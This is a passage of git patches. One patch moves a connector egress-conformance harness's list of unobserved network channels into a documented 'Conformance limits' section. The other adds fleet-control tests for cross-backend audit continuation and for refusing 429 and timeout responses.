...ormance-foreign-values-and-late-escapes.md | 8 +++---- .../breakwater-conformance-limit-pointer.md | 12 ++++++++++ .changeset/connector-conformance-harness.md | 2 +- docs/connector-interface.md | 4 ++-- packages/breakwater/CONNECTORS.md | 23 ++++++++++++++----- .../connector-sdk/egress-conformance.test.ts | 5 ++-- .../src/connector-sdk/egress-conformance.ts | 2 +- 7 files changed, 40 insertions(+), 16 deletions(-) create mode 100644 .changeset/breakwater-conformance-limit-pointer.md diff --git a/.changeset/breakwater-conformance-foreign-values-and-late-escapes.md b/.changeset/breakwater-conformance-foreign-values-and-late-escapes.md index 7b2777a4..c48e7eb5 100644 --- a/.changeset/breakwater-conformance-foreign-values-and-late-escapes.md +++ b/.changeset/breakwater-conformance-foreign-values-and-late-escapes.md @@ -19,7 +19,7 @@ become findings; a later observation is a run-level `NETWORK_IO_OUTSIDE_RUNTIME_ reason names the settled case and carries no `case`. The report snapshots `findings` and `cases` and computes `conformant` from the snapshot, and an escape observed after that is dropped. -`CONFORMANCE_LIMIT` says so: work a timed-out case abandons is unrecorded through the restored -global, and work any settled case abandons is recorded as a run-level finding through the supplied -base transport for a host the manifest does not declare, or through a captured trap, until the -report is built. +`CONFORMANCE_LIMIT` points at the channel list that says so: +[Conformance limits](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits) +in the connector authoring guide states what a settled case's retained transport or trap reaches, +what a read of the restored global after the run closes bypasses, and what a timed-out case's abandoned work does not. diff --git a/.changeset/breakwater-conformance-limit-pointer.md b/.changeset/breakwater-conformance-limit-pointer.md new file mode 100644 index 00000000..8c6e13e6 --- /dev/null +++ b/.changeset/breakwater-conformance-limit-pointer.md @@ -0,0 +1,12 @@ +--- +'@proofoftech/breakwater': patch +--- + +Point the connector conformance report's `limit` at the documented channel list. The field carried a +paragraph naming the channels a run does not observe; it is now one sentence naming the permanent +URL of +[Conformance limits](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits), +a section of the connector authoring guide that ships with the package and states each channel and +what a run records for it. A host that displays or stores `report.limit` sees the shorter text. +`CONFORMANCE_LIMIT` is not exported from the package entry points, so consumers read it only as +`report.limit`. Nothing about what the harness traps, records, snapshots or drops changes. diff --git a/.changeset/connector-conformance-harness.md b/.changeset/connector-conformance-harness.md index 524cecf7..f5461d5d 100644 --- a/.changeset/connector-conformance-harness.md +++ b/.changeset/connector-conformance-harness.md @@ -43,7 +43,7 @@ with no cases raises one finding, not both. A case whose expectations depend on did not wire is reported as a wiring failure naming the member, alongside the escape record, which is kept. Every report states the finite-case limit: -> conformance covers only the supplied cases, in this isolate, for the duration of each case: it does not prove every reachable network path, a captured fetch reference, a request through an entry point the subject redefines and restores inside a case, an uninstrumented transport, another isolate, work continuing outside a case lifetime, a call the connector makes on the supplied base transport for a host the manifest already declares, or, for a connector declaring no egress, a transport the factory supplied in place of the harness's. A case that times out ends the run, because its abandoned work would otherwise be attributed to a later case, and no further run is accepted in this isolate; that abandoned work then runs against the RESTORED global, so a request it issues after the case ends is neither trapped nor recorded and leaves the process. A request that work abandoned by any settled case issues on the supplied base transport for a host the manifest does not declare, or through a trap reference it captured during that case, is recorded as a run-level finding naming that case until the report is built, and is dropped after. Entry-point targets you supply are your own test fixtures: each install is verified by its own descriptor, by an effective property read, and by the restore, against the mediations that verification names, and not against a target that adapts to those checks. Instrument globalThis.fetch alone for that guarantee. +> conformance covers only the supplied cases, in this isolate, for the duration of each case; the channels it does not observe are listed at https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits The harness itself uses no Node built-ins, no `vm`, and no filesystem, and runs on workerd. The barrel it ships from imports `@mastra/core/tools`, whose bundled chunks statically import Node diff --git a/docs/connector-interface.md b/docs/connector-interface.md index c6fe519b..7a419bd2 100644 --- a/docs/connector-interface.md +++ b/docs/connector-interface.md @@ -603,7 +603,7 @@ Use `assertConnectorConformance(factory, { manifest, cases, entryPoints? })` fro A conformant run returns a `ConnectorConformanceReport`; otherwise `ConnectorConformanceError.report` contains it. The report exposes `conformant`, the resolved `posture` when available, `instrumented` labels, per-case evidence, a flat `findings` list, and `limit`. Case results expose their name, `proved` outcome, observed `guardedHosts`, refused `escapes`, positional `decisionCodes`, `transportCalls`, `auditEvents`, and their view of the findings. A finding has a code, reason, optional case name, and an optional policy member for wiring failures. -On an absent or configurable entry point, the harness installs an accessor whose getter returns the trap. An assignment to that instrumented entry point is recorded when it happens as `INSTRUMENTATION_REPLACED` and is not applied; the trap stays in place. A writable non-configurable data property uses assignment installation, which offers no defence against assignments during execution. A redefinition still in place when the case settles or times out, or when the probe factory returns, is reported as `INSTRUMENTATION_REPLACED`. A redefinition or deletion that the case itself reverses before it settles, like a reference to `fetch` captured before the run, is outside what the harness observes. It reports the requests that pass through its trap. A detected redefinition makes the case prove `nothing` and skip expectation checks. An assignment attempt or detected redefinition during probe construction refuses the run. +On an absent or configurable entry point, the harness installs an accessor whose getter returns the trap. An assignment to that instrumented entry point is recorded when it happens as `INSTRUMENTATION_REPLACED` and is not applied; the trap stays in place. A writable non-configurable data property uses assignment installation, which offers no defence against assignments during execution. A redefinition still in place when the case settles or times out, or when the probe factory returns, is reported as `INSTRUMENTATION_REPLACED`. The channels the harness does not observe, a reference captured before installation and a redefinition the case reverses before it settles among them, are listed under [Conformance limits](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits). The harness reports the requests that pass through its trap. A detected redefinition makes the case prove `nothing` and skip expectation checks. An assignment attempt or detected redefinition during probe construction refuses the run. | Finding | Meaning | | --- | --- | @@ -611,4 +611,4 @@ On an absent or configurable entry point, the harness installs an accessor whose The report states this finite-case limit: -> conformance covers only the supplied cases, in this isolate, for the duration of each case: it does not prove every reachable network path, a captured fetch reference, a request through an entry point the subject redefines and restores inside a case, an uninstrumented transport, another isolate, work continuing outside a case lifetime, a call the connector makes on the supplied base transport for a host the manifest already declares, or, for a connector declaring no egress, a transport the factory supplied in place of the harness's. A case that times out ends the run, because its abandoned work would otherwise be attributed to a later case, and no further run is accepted in this isolate; that abandoned work then runs against the RESTORED global, so a request it issues after the case ends is neither trapped nor recorded and leaves the process. A request that work abandoned by any settled case issues on the supplied base transport for a host the manifest does not declare, or through a trap reference it captured during that case, is recorded as a run-level finding naming that case until the report is built, and is dropped after. Entry-point targets you supply are your own test fixtures: each install is verified by its own descriptor, by an effective property read, and by the restore, against the mediations that verification names, and not against a target that adapts to those checks. Instrument globalThis.fetch alone for that guarantee. +> conformance covers only the supplied cases, in this isolate, for the duration of each case; the channels it does not observe are listed at https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits diff --git a/packages/breakwater/CONNECTORS.md b/packages/breakwater/CONNECTORS.md index 75883bd6..11f55364 100644 --- a/packages/breakwater/CONNECTORS.md +++ b/packages/breakwater/CONNECTORS.md @@ -797,7 +797,7 @@ Choose expectations according to the path exercised: | `policy-denied` with `code` | A subject denial with another policy kind, plus the expected subject decision code | | `no-network` | No subject denial and no allowed harness transport call | -A recorded denial takes precedence over a guarded request. An egress-fetch denial takes precedence over another denial. Without a denial, a case that reached an allowed host proves `guarded-request`; otherwise it proves `no-network`. An expected code must occur among the subject's witness events, independently of the outcome check. +A recorded denial takes precedence over a guarded request. An egress-fetch denial takes precedence over another denial. A case reports observed hosts and is eligible for the outcome check only if its invocation ran, did not time out, and its instrumentation verified intact at settlement. Otherwise it proves `nothing` and reports no hosts, whether or not a denial was recorded. Within that condition, a boundary error without a subject audit witness also leaves the outcome as `nothing`, but does not clear the observed hosts. Every other eligible case runs the outcome check, including one whose foreign invocation failure records `CASE_INVOCATION_FAILED`: without a denial, a case that reached an allowed host proves `guarded-request`; otherwise it proves `no-network`. An expected code must occur among the subject's witness events, independently of the outcome check. `guarded-request` requires at least one host. Each host is validated at parse time using the manifest's hostname pattern; an empty list or malformed host throws `TypeError`. Matching uses the manifest's case-insensitive hostname and wildcard rules. Every expected host must match an observed host; extra observed hosts are allowed. @@ -811,19 +811,30 @@ The harness always instruments `globalThis.fetch`. Add other transports as `entr A duplicate `(target, property)` pair refuses the run before any case. Duplicate case names, duplicate labels, and the reserved labels `globalThis.fetch` and `policies.fetch` are malformed options and reject with `TypeError`, without a report. A supplied entry's property refusal is case-scoped. The global fetch descriptor is checked before probe construction and again for each case: an initially unsupported global refuses the run, while a global made unsupported mid-run refuses the affected case. A finding's `case` identifies the latter. Fix the target or options, stop earlier work redefining the global, or use a runtime whose global fetch is a writable or configurable data property. -Supplied targets are your own test fixtures. Verification detects concrete property mediation such as ignored writes and overriding getters; it does not defend against a target adapting to those checks. Supply no extra entry points when you need the guarantee for global fetch alone. - -On an absent or configurable entry point, the harness installs an accessor whose getter returns the trap. An assignment to that instrumented entry point is recorded when it happens as `INSTRUMENTATION_REPLACED` and is not applied; the trap stays in place. A writable non-configurable data property uses assignment installation, which offers no defence against assignments during execution. A redefinition still in place when the case settles or times out, or when the probe factory returns, is reported as `INSTRUMENTATION_REPLACED`. A redefinition or deletion that the case itself reverses before it settles, like a reference to `fetch` captured before the run, is outside what the harness observes. It reports the requests that pass through its trap. Restoration follows invocation settlement or timeout. It restores entry points before clearing the timer, attempts the remaining restores after a failure, and ends a run whose restoration fails. +On an absent or configurable entry point, the harness installs an accessor whose getter returns the trap. An assignment to that instrumented entry point is recorded when it happens as `INSTRUMENTATION_REPLACED` and is not applied; the trap stays in place. A writable non-configurable data property uses assignment installation, which offers no defence against assignments during execution. A redefinition still in place when the case settles or times out, or when the probe factory returns, is reported as `INSTRUMENTATION_REPLACED`. The harness reports the requests that pass through its trap. Restoration follows invocation settlement or timeout. It restores entry points before clearing the timer, attempts the remaining restores after a failure, and ends a run whose restoration fails. Each case has `timeoutMs`, defaulting to 2000 ms and accepting positive integers up to 2,147,483,647. Your test timeout must exceed `cases.length × timeoutMs` plus setup. Vitest defaults to 5000 ms per test, so three cases at the harness's default bound require a higher test timeout or lower per-case bounds. Cases must await their own work. -A timed-out case proves `nothing`, with no expectation check or `CASE_EXPECTATION_UNMET`. It ends the run and permanently refuses later runs in the isolate, preventing abandoned work from being attributed to another case. Once the case times out, its abandoned work runs against the restored global: a request it issues after the case ends is neither trapped nor recorded and leaves the process. Put a test that expects a timeout last in its file, or give it its own file. Vitest reuses a file's module graph, so later runs in that file receive `ISOLATE_POISONED`. The package's suite places its timeout test and then its poisoned-isolate assertion last. There is no reset API. +A timed-out case proves `nothing`, with no expectation check or `CASE_EXPECTATION_UNMET`. It ends the run and permanently refuses later runs in the isolate, preventing abandoned work from being attributed to another case. Put a test that expects a timeout last in its file, or give it its own file. Vitest reuses a file's module graph, so later runs in that file receive `ISOLATE_POISONED`. The package's suite places its timeout test and then its poisoned-isolate assertion last. There is no reset API. Use `respond(request)` to return `{ status?, headers?, body? }` for guarded traffic; the default is status 200 with an empty body. The request includes the exact URL, hostname, and uppercase method. The URL stays inside your test process and is not copied into harness-generated diagnostics, which use hostnames. `FACTORY_FAILED` is different: when a factory throws an `Error` with a readable string message, that message can contain URLs or other request data your code interpolated. String representations of other thrown values can also contain request data. Inspect those messages before sharing a report. +### Conformance limits + Every report states its limit: -> conformance covers only the supplied cases, in this isolate, for the duration of each case: it does not prove every reachable network path, a captured fetch reference, a request through an entry point the subject redefines and restores inside a case, an uninstrumented transport, another isolate, work continuing outside a case lifetime, a call the connector makes on the supplied base transport for a host the manifest already declares, or, for a connector declaring no egress, a transport the factory supplied in place of the harness's. A case that times out ends the run, because its abandoned work would otherwise be attributed to a later case, and no further run is accepted in this isolate; that abandoned work then runs against the RESTORED global, so a request it issues after the case ends is neither trapped nor recorded and leaves the process. A request that work abandoned by any settled case issues on the supplied base transport for a host the manifest does not declare, or through a trap reference it captured during that case, is recorded as a run-level finding naming that case until the report is built, and is dropped after. Entry-point targets you supply are your own test fixtures: each install is verified by its own descriptor, by an effective property read, and by the restore, against the mediations that verification names, and not against a target that adapts to those checks. Instrument globalThis.fetch alone for that guarantee. +> conformance covers only the supplied cases, in this isolate, for the duration of each case; the channels it does not observe are listed at https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits + +A run's evidence is finite, and traffic can reach the network by paths it does not observe. + +1. A run certifies the cases you supply, in the isolate that loads the harness, over each case's instrumented window: the install that precedes the invocation, the invocation, and the settlement that follows it. A network path no case exercises and another isolate are outside that evidence. Work that outlives the case that started it is partly observed, on the terms the items below set. +2. A `fetch` reference the subject captured before the harness installed its trap bypasses that trap, and a redefinition or deletion the case itself reverses before it settles is gone before the harness verifies the entry point; neither is observed. An assignment to a harness-installed accessor is a different channel: it is recorded and the trap is kept, as the `INSTRUMENTATION_REPLACED` description above states. +3. Traffic through an independent transport, one that reaches neither a harness trap nor the supplied base transport, is unobserved. Whether a factory that supplies such a transport in place of the harness's is remarked depends on the declaration: for a connector declaring `egress`, the transport-evidence requirement above remarks a run in which no case reached the harness transport, as `NO_TRANSPORT_EVIDENCE`; a connector declaring no `egress` is outside that requirement, so the substitution is silently unobserved. A replacement transport that itself calls an instrumented entry point is still trapped. +4. A parseable request the connector makes on the supplied base transport for a host its registered manifest declares is served with a synthetic response. The case result's `transportCalls` is the transport's count read when the case settles; a call the retained transport serves after settlement is served the same way and counted by no case. Whether the call's host is among the `guardedHosts` that prove `guarded-request` depends on the precedence rule above and its eligibility condition. The harness records no escape for it, and no finding identifies it as a call made around the guarded `fetch`. `POLICIES_NOT_WIRED`, described above, reports absent wiring evidence rather than a served call. +5. A refusal on the supplied base transport — an unparseable address, no bound egress declaration, or an undeclared host — and a call through a trap reference the case kept alive both reach that case's recorder. Before the case settles, the attempt joins that case's `escapes`; after it settles, the `NETWORK_IO_OUTSIDE_RUNTIME_FETCH` rule above routes it. Once the report is built the recording stops, and the refusal still happens. The probe is a separate path: a transport or trap retained from probe construction reaches the run-level recorder, under no case name. +6. Work abandoned by one case that reads `globalThis.fetch` while a later case's trap is installed reaches that trap and is attributed to the later case. The harness records the instrument the call reached; it does not recover which case started the work. +7. A timed-out case ends the run and refuses later runs in this isolate, as described above. For it there is no interval in which a late attempt becomes a run-level finding: the case loop marks the case settled and the run closes with no `await` between the two, so work the case abandoned resumes to a closed run and nothing it then does is recorded. For work abandoned by any case, a read of `globalThis.fetch` when no case trap is installed, including after the run closes, reaches the restored global if restoration succeeds. A request through that global is neither trapped nor recorded and leaves the process. +8. Targets you pass as `entryPoints` are your own test fixtures. The install and restore verification above detects concrete property mediation, such as an ignored write or an overriding getter, and not a target that adapts to those checks. Instrument `globalThis.fetch` alone when you need that guarantee. ## Contribute a connector diff --git a/packages/breakwater/src/connector-sdk/egress-conformance.test.ts b/packages/breakwater/src/connector-sdk/egress-conformance.test.ts index b437b158..7a586fa5 100644 --- a/packages/breakwater/src/connector-sdk/egress-conformance.test.ts +++ b/packages/breakwater/src/connector-sdk/egress-conformance.test.ts @@ -507,7 +507,8 @@ describe('connector egress conformance', () => { expect(Object.getOwnPropertyDescriptor(holder, 'fetch')).toEqual(saved); }); - // CONNECTORS.md: “A redefinition or deletion that the case itself reverses before it settles, like a reference to `fetch` captured before the run, is outside what the harness observes.” + // CONNECTORS.md, "Conformance limits": the item on a reference captured + // before installation and a redefinition the case reverses before it settles. it('does not observe a request sent through a redefinition the case reverses before settling', async () => { const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); const replacement = vi.fn(async () => new Response()); @@ -1761,7 +1762,7 @@ describe('connector egress conformance', () => { expect(mismatch.findings).toContainEqual( expect.objectContaining({ code: 'MANIFEST_MISMATCH' }), ); - expect(mismatch.limit).toContain('captured fetch reference'); + expect(mismatch.limit).toBe(CONFORMANCE_LIMIT); const matched = await assertConnectorConformance( factory(async () => ({}), { ...noEgress, diff --git a/packages/breakwater/src/connector-sdk/egress-conformance.ts b/packages/breakwater/src/connector-sdk/egress-conformance.ts index 01ff9c48..a485909e 100644 --- a/packages/breakwater/src/connector-sdk/egress-conformance.ts +++ b/packages/breakwater/src/connector-sdk/egress-conformance.ts @@ -206,7 +206,7 @@ export class ConnectorConformanceError extends Error { } export const CONFORMANCE_LIMIT = - "conformance covers only the supplied cases, in this isolate, for the duration of each case: it does not prove every reachable network path, a captured fetch reference, a request through an entry point the subject redefines and restores inside a case, an uninstrumented transport, another isolate, work continuing outside a case lifetime, a call the connector makes on the supplied base transport for a host the manifest already declares, or, for a connector declaring no egress, a transport the factory supplied in place of the harness's. A case that times out ends the run, because its abandoned work would otherwise be attributed to a later case, and no further run is accepted in this isolate; that abandoned work then runs against the RESTORED global, so a request it issues after the case ends is neither trapped nor recorded and leaves the process. A request that work abandoned by any settled case issues on the supplied base transport for a host the manifest does not declare, or through a trap reference it captured during that case, is recorded as a run-level finding naming that case until the report is built, and is dropped after. Entry-point targets you supply are your own test fixtures: each install is verified by its own descriptor, by an effective property read, and by the restore, against the mediations that verification names, and not against a target that adapts to those checks. Instrument globalThis.fetch alone for that guarantee."; + 'conformance covers only the supplied cases, in this isolate, for the duration of each case; the channels it does not observe are listed at https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits'; class ConformanceRefusal extends Error {} From 53902fab08ca32b5c04600955285fc804c1e4b38 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 15 Sep 2026 23:34:02 +0400 Subject: [PATCH 158/169] test(fleet-control): prove cross-backend audit and 429/timeout refusal `cross-backend-continuation.test.ts` gains the describe block `ordinary Worker cross-backend audit continuation`: three cases, each over its own provider world that the Wrangler-origin and direct backends share. Each starts a fleet audit under the Wrangler-origin backend, advances until the first record is inspected, and resumes on that token with `backendFor` switched to the direct backend over the same operation store, inventory store and world. The first case asserts the resumed token keeps the operation id, the revision advances, the audit reaches `complete` at generation 1 with a record count equal to the fleet's, and the ordered inspection log names each record once. The second asserts no `ensureMaintenance` call on either leg and a world snapshot equal to the one taken before the switch. The third asserts the findings page equals a single-backend audit's findings over the same records at the same pinned clock, both lists empty, and that the log records a live outcome for each inspection. `test/fixtures/fleet-operation-fakes.ts` holds the in-memory `FleetOperationStore` and `FleetInventoryRunStore` fakes, the frozen audit clock and the uuid helper, which `fleet-audit-advance.test.ts` and `cross-backend-continuation.test.ts` import. `cloudflare-client-plain-worker.test.ts` adds 429 to the refusal matrix over the four ordinary-Worker deployment and version reads and adds a case where each of those reads rejects with `APIConnectionTimeoutError` and none resolves to `undefined`. `cloudflare-api-plain-worker-provisioning-api.test.ts` extends `classifies only provider 404 as an absent Worker` with a refused 429, a refused 500 and a timeout that carries no status. `plain-worker-backend.test.ts` asserts that a 429 and an `APIConnectionTimeoutError` are transient and that neither is `isNotFound`, raw or sanitized. No file outside `packages/fleet-control/test/` changes. Co-Authored-By: Claude Fable 5.1 --- ...-api-plain-worker-provisioning-api.test.ts | 31 + .../cloudflare-client-plain-worker.test.ts | 76 +- .../test/cross-backend-continuation.test.ts | 411 ++++++++- .../test/fixtures/fleet-operation-fakes.ts | 804 ++++++++++++++++++ .../test/fleet-audit-advance.test.ts | 790 +---------------- .../test/plain-worker-backend.test.ts | 11 + 6 files changed, 1335 insertions(+), 788 deletions(-) create mode 100644 packages/fleet-control/test/fixtures/fleet-operation-fakes.ts diff --git a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts index 976b9f16..d422fc71 100644 --- a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts @@ -1,5 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 +import { APIConnectionTimeoutError } from 'cloudflare'; import { describe, expect, it, vi } from 'vitest'; import { CloudflareApiPlainWorkerBackend } from '../src/cloudflare-api-plain-worker-backend.js'; import { CloudflareApiPlainWorkerProvisioningApi } from '../src/cloudflare-api-plain-worker-provisioning-api.js'; @@ -809,6 +810,36 @@ describe('CloudflareApiPlainWorkerProvisioningApi', () => { await expect( forbidden.api.deleteWorkerScript('forbidden', ownedFence()), ).rejects.toMatchObject({ status: 403 }); + + for (const status of [429, 500]) { + const refused = subject(async () => + Response.json( + { success: false, errors: [] }, + // The SDK's `shouldRetry` retries both of these, so each spends the + // client's whole retry budget; `retry-after-ms` holds every one of + // those retries to a millisecond of real-timer backoff. + { status, headers: { 'retry-after-ms': '1' } }, + ), + ); + await expect( + refused.api.deleteWorkerScript('refused', ownedFence()), + ).rejects.toMatchObject({ status }); + } + + const timedOut = subject(() => + Promise.reject(new Error('transport timed out')), + ); + const timeout = await rejectedValue( + timedOut.api.deleteWorkerScript('slow', ownedFence()), + ); + + // The SDK's error classes never assign `name` (core/error.js:78-93), so the + // subclass itself is what identifies a timeout on a raw rejection. + expect(timeout).toBeInstanceOf(APIConnectionTimeoutError); + expect((timeout as Error).message).toBe('Request timed out.'); + // The absence gate reads `status === 404`; a timeout carries no status at + // all, so it can only refuse. + expect((timeout as { status?: unknown }).status).toBeUndefined(); }); it('propagates durable export integrity failures', async () => { diff --git a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts index 09fff6e1..4938279c 100644 --- a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts +++ b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts @@ -2,6 +2,7 @@ import { AsyncLocalStorage } from 'node:async_hooks'; import { createHash } from 'node:crypto'; +import { APIConnectionTimeoutError } from 'cloudflare'; import { BaseNamespaces } from 'cloudflare/resources/workers-for-platforms/dispatch/namespaces/namespaces'; import { afterEach, describe, expect, it, vi } from 'vitest'; import { @@ -39,7 +40,11 @@ import { providerWorld } from './fixtures/provider-world.js'; // Shared-client WFP-plane cases live here so the legacy WFP request and // response pins remain byte-comparable to the pre-plain-worker client. -function apiFailure(status: number, message = 'provider failure'): Response { +function apiFailure( + status: number, + message = 'provider failure', + headers?: Readonly>, +): Response { return Response.json( { success: false, @@ -47,7 +52,7 @@ function apiFailure(status: number, message = 'provider failure'): Response { messages: [], result: null, }, - { status }, + { status, ...(headers === undefined ? {} : { headers }) }, ); } @@ -1216,9 +1221,18 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { }); it.each([ - 403, 500, + 403, 429, 500, ])('propagates provider %s from every deployment and version read', async (status) => { - const fixture = recordingFetch(() => apiFailure(status)); + // The SDK's `shouldRetry` retries a 429, so this row spends the client's + // whole retry budget on each read; `retry-after-ms` holds every one of + // those retries to a millisecond of real-timer backoff. + const fixture = recordingFetch(() => + apiFailure( + status, + 'provider failure', + status === 429 ? { 'retry-after-ms': '1' } : undefined, + ), + ); const client = plainClient({ fetch: fixture.fetch }); const operations = [ () => client.ordinaryWorkerDeploymentStatus('plain'), @@ -1231,6 +1245,60 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { } }); + it('refuses every deployment and version read that times out', async () => { + // A never-resolving fetch cannot stand in for a timeout: `recordingFetch` + // never reads `init.signal`, so the client's `AbortSignal.timeout` reaches + // a fetch that ignores it. A rejection the SDK reads as a timeout reaches + // the same boundary and carries no `status`, which is why this case is not + // a row in the matrix above. + const fixture = recordingFetch(() => + Promise.reject(new Error('transport timed out')), + ); + const client = plainClient({ fetch: fixture.fetch }); + const operations = [ + () => client.ordinaryWorkerDeploymentStatus('plain'), + () => client.listOrdinaryWorkerVersions('plain'), + () => client.findOrdinaryWorkerVersion('plain', 'v1'), + () => client.viewOrdinaryWorkerVersion('plain', 'v1'), + ]; + // The SDK's error classes never assign `name` (core/error.js:78-93), so a + // raw rejection reports the base `Error` name and the subclass itself is + // what identifies a timeout; `sanitizeProviderError` is what stamps the + // constructor name the sanitized chains elsewhere in this file read. + type ReadOutcome = + | Readonly<{ settled: 'resolved'; value: unknown }> + | Readonly<{ settled: 'rejected'; timeout: boolean; message: unknown }>; + const outcomes: ReadOutcome[] = []; + for (const operation of operations) { + outcomes.push( + await operation().then( + (value): ReadOutcome => ({ settled: 'resolved', value }), + (error: unknown): ReadOutcome => ({ + settled: 'rejected', + timeout: error instanceof APIConnectionTimeoutError, + message: fact(error, 'message'), + }), + ), + ); + } + + expect(outcomes).toEqual( + operations.map(() => ({ + settled: 'rejected', + timeout: true, + message: 'Request timed out.', + })), + ); + // A read that resolved to `undefined` would have classified the timeout as + // absence, which is the outcome this requirement forbids. + expect( + outcomes.filter( + (outcome) => + outcome.settled === 'resolved' && outcome.value === undefined, + ), + ).toEqual([]); + }); + it.each([ { label: 'null errors and messages', diff --git a/packages/fleet-control/test/cross-backend-continuation.test.ts b/packages/fleet-control/test/cross-backend-continuation.test.ts index 4583b89f..f4b3e556 100644 --- a/packages/fleet-control/test/cross-backend-continuation.test.ts +++ b/packages/fleet-control/test/cross-backend-continuation.test.ts @@ -1,7 +1,15 @@ // SPDX-License-Identifier: Apache-2.0 import { afterEach, describe, expect, it, vi } from 'vitest'; -import { migrateFleet } from '../src/fleet.js'; +import { auditFleetDrift, migrateFleet } from '../src/fleet.js'; +import { + type AdvanceFleetAuditOptions, + advanceFleetAudit, + type FleetAuditAdvanceAction, + type FleetAuditAdvanceResult, + readFleetAuditFindingsPage, +} from '../src/fleet-audit-advance.js'; +import type { FleetOperationToken } from '../src/fleet-operation-state.js'; import { cleanupDeploymentArtifacts, decommissionDeployment, @@ -13,26 +21,41 @@ import { type DeploymentSpec, effectiveLifecyclePhase, type FleetRecord, + type FleetResourceInventory, type FleetStateLease, type FleetStateStore, + type ProvisioningBackend, } from '../src/types.js'; -import { restProjection } from './fixtures/cloudflare-fetch-fixture.js'; +import { + recordingFetch, + restProjection, +} from './fixtures/cloudflare-fetch-fixture.js'; +import { + FakeInventoryRunStore, + FakeOperationStore, + uuidFor, +} from './fixtures/fleet-operation-fakes.js'; import { assertHarnessFailuresConsumed, buildPlainWorkerSpec, captureFailure, directHarness, errorChain, + HarnessExportStore, HarnessFleetStore, ignoreFailure, initialSpec, migrationSpec, type PlainWorkerHarness, + plainOnlyClient, routeAttestation, sharedSecrets, wranglerHarness, } from './fixtures/plain-worker-harnesses.js'; -import type { ProviderWorld } from './fixtures/provider-world.js'; +import { + type ProviderWorld, + providerWorld, +} from './fixtures/provider-world.js'; import { type PlainWorkerFsControl, registerScratchCleanup, @@ -1046,3 +1069,385 @@ describe('ordinary Worker cross-backend continuation', () => { }); }); }); + +// --------------------------------------------------------------------------- +// Audit continuation across the backend-origin boundary. The bounded audit +// coordinator needs two durable stores the provisioning harnesses do not carry +// (`FleetOperationStore` and `FleetInventoryRunStore`) and one finalized +// `FleetResourceInventory` generation; the stores come from +// `test/fixtures/fleet-operation-fakes.ts` and the generation is collected from +// this world through the real inventory engine. `backendFor` is a per-call +// option the continuation token never carries, so an audit's backend switch is +// a switch of that option over one operation store, one inventory store, and +// one world. +// --------------------------------------------------------------------------- + +/** + * The audit's frozen instant. The provider world answers maintenance health + * with `alarmAt: 2_000`, `lastSweepAt: 1_000`, and `lastPurgeAt: 1_000`, and + * `provision` stamps every record at 1_000, so pinning both audit clocks here + * leaves every duty inside `AUDIT_STALE_AFTER_MS` and the maintenance re-arm + * branch untaken. + */ +const AUDIT_NOW_MS = 1_000; +const AUDIT_STALE_AFTER_MS = 3_600_000; +const AUDIT_TENANT_TAGS = ['acme', 'beta'] as const; + +/** + * Every audited tenant keeps `buildPlainWorkerSpec`'s maintenance base URL, + * because a provider world serves one maintenance origin. Each tenant's + * inspection still resolves its own script there: the backend sends a + * version-override header for a deployed candidate, and the world's + * maintenance responder reads the script name out of it. + */ +function auditSpec(tenantTag: string): DeploymentSpec { + return buildPlainWorkerSpec({ + tenantTag, + scriptName: `fleet-${tenantTag}-production`, + databaseName: `fleet-${tenantTag}-production`, + routeHostname: `${tenantTag}.example.test`, + }); +} + +/** + * Wraps one backend so every inspection and maintenance re-arm the audit + * reaches it through is recorded with its origin. An `inspect` that resolves + * appends a second entry naming its outcome, so a log that ends at the + * `inspect` entry is an inspection that threw. + */ +function observedAuditBackend( + origin: string, + backend: ProvisioningBackend, + log: string[], +): ProvisioningBackend { + const inspect = backend.inspect.bind(backend); + vi.spyOn(backend, 'inspect').mockImplementation( + async (spec, maintenanceAdminSecret, expectedArtifactVersion) => { + log.push(`${origin}:inspect:${spec.tenantTag}`); + const live = await inspect( + spec, + maintenanceAdminSecret, + expectedArtifactVersion, + ); + log.push(`${origin}:${live ? 'live' : 'absent'}:${spec.tenantTag}`); + return live; + }, + ); + const ensureMaintenance = backend.ensureMaintenance.bind(backend); + vi.spyOn(backend, 'ensureMaintenance').mockImplementation( + async (spec, maintenanceAdminSecret, fence, expectedArtifactVersion) => { + log.push(`${origin}:ensureMaintenance:${spec.tenantTag}`); + return ensureMaintenance( + spec, + maintenanceAdminSecret, + fence, + expectedArtifactVersion, + ); + }, + ); + return backend; +} + +interface AuditFleet { + readonly world: ProviderWorld; + readonly records: readonly FleetRecord[]; + readonly inventory: FleetResourceInventory; + readonly operationStore: FakeOperationStore; + readonly fleetStore: ContinuationFleetStore; + readonly log: string[]; + readonly wranglerBackend: ProvisioningBackend; + readonly directBackend: ProvisioningBackend; + readonly specFor: (record: FleetRecord) => DeploymentSpec; + readonly maintenanceSecretFor: () => string; + options( + action: FleetAuditAdvanceAction, + backend: ProvisioningBackend, + ): AdvanceFleetAuditOptions; +} + +/** + * Provisions every tenant in `AUDIT_TENANT_TAGS` through its own Wrangler + * backend over ONE provider world, then pins that world's collected inventory + * as generation 1. + */ +async function wranglerAuditFleet(): Promise { + const world = providerWorld('uuid'); + const specs = new Map(); + const records: FleetRecord[] = []; + const 